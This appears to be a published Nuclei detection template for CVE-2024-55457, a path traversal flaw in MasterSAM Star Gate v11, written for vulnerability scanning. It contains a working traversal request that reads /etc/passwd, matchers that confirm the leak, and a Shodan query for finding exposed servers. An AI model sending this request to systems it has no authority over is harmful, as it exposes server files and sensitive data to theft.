MasterSAM Star Gate v11 - Local File Inclusion

ID: CVE-2024-55457

Severity: high

Author: DhiyaneshDK

Tags: cve,cve2024,lfi,mastersam,v11,adama

Description

MasterSAM Star Gate v11 is vulnerable to a directory traversal attack via the endpoint /adama/adama/downloadService. An attacker can exploit this vulnerability by manipulating the file parameter to access arbitrary files on the server, potentially leading to the exposure of sensitive information.

YAML Source

id: CVE-2024-55457

info:
  name: MasterSAM Star Gate v11 - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: |
    MasterSAM Star Gate v11 is vulnerable to a directory traversal attack via the endpoint /adama/adama/downloadService. An attacker can exploit this vulnerability by manipulating the file parameter to access arbitrary files on the server, potentially leading to the exposure of sensitive information.
  reference:
    - https://github.com/h13nh04ng/CVE-2024-55457-PoC
    - https://x.com/cyber_advising/status/1876034270852231257
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"MasterSAM"
  tags: cve,cve2024,lfi,mastersam,v11,adama

http:
  - method: GET
    path:
      - "{{BaseURL}}/adama/adama/downloadService?type=1&file=../../../../etc/passwd"

    matchers:
      - type: dsl
        dsl:
          - "contains_all(header, 'application/octet-stream', 'filename=')"
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and
# digest: 4b0a00483046022100d96c2c74b03efecfc45b6b91ad530f30d0e27bf5932be48846ab03653afa0c52022100f87b498a84f1b3d51ec0a6b8810863fc4096a94d8123b9e7c7e4fa4b1b6bcfaa:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-55457.yaml"

View on Github